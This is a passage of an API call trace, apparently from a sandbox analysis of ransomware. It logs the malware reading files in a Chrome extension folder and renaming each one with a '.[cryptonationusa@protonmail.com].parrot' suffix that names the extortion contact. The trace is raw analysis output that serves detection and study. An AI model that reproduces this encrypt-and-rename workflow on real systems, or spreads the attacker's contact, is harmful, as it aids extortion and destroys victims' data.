[0072.230] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.232] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.232] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6cd, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x6cd, lpOverlapped=0x0) returned 1 [0072.232] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.232] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.232] CloseHandle (hObject=0x274) returned 1 [0072.232] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.238] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb889ce80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb889ce80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.239] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82899680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb889ce80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.css.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CRAW_W~1.PAR")) returned 1 [0072.239] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.239] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.239] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.239] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.240] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.240] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a0bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.html", cAlternateFileName="CRAW_W~1.HTM")) returned 1 [0072.276] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x442, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.276] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.276] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.278] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.278] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x32a, lpOverlapped=0x0) returned 1 [0072.279] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.279] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x442, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.280] CloseHandle (hObject=0x28c) returned 1 [0072.280] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.282] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.282] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb890f2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb890f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.282] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a0bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb890f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.html.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CRAW_W~1.PAR")) returned 1 [0072.282] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.284] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.285] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.285] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.285] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.285] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a80e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828aa7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0x112dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="flapper.gif", cAlternateFileName="")) returned 1 [0072.285] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x113f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.285] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.285] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.287] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.287] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x112dc, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x112dc, lpOverlapped=0x0) returned 1 [0072.291] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.292] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x113f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.292] CloseHandle (hObject=0x28c) returned 1 [0072.292] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.303] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1221, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.303] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.303] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.307] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.307] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1109, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x1109, lpOverlapped=0x0) returned 1 [0072.308] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.308] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1221, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.308] CloseHandle (hObject=0x28c) returned 1 [0072.308] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.311] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x344, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.311] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.311] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.312] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.312] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x22c, lpOverlapped=0x0) returned 1 [0072.312] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.312] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x344, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.313] CloseHandle (hObject=0x28c) returned 1 [0072.313] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.315] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.315] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.315] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.316] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.316] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xa0, lpOverlapped=0x0) returned 1 [0072.316] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.316] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.316] CloseHandle (hObject=0x28c) returned 1 [0072.317] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.319] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x214, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.319] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.319] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.320] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.320] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfc, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xfc, lpOverlapped=0x0) returned 1 [0072.320] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.321] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x214, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.321] CloseHandle (hObject=0x28c) returned 1 [0072.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.377] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.377] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.377] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.378] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.378] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xa0, lpOverlapped=0x0) returned 1 [0072.378] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.378] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.379] CloseHandle (hObject=0x28c) returned 1 [0072.379] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.407] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1be, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.407] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.407] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.408] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.408] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xa6, lpOverlapped=0x0) returned 1 [0072.408] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.408] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.408] CloseHandle (hObject=0x274) returned 1 [0072.409] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 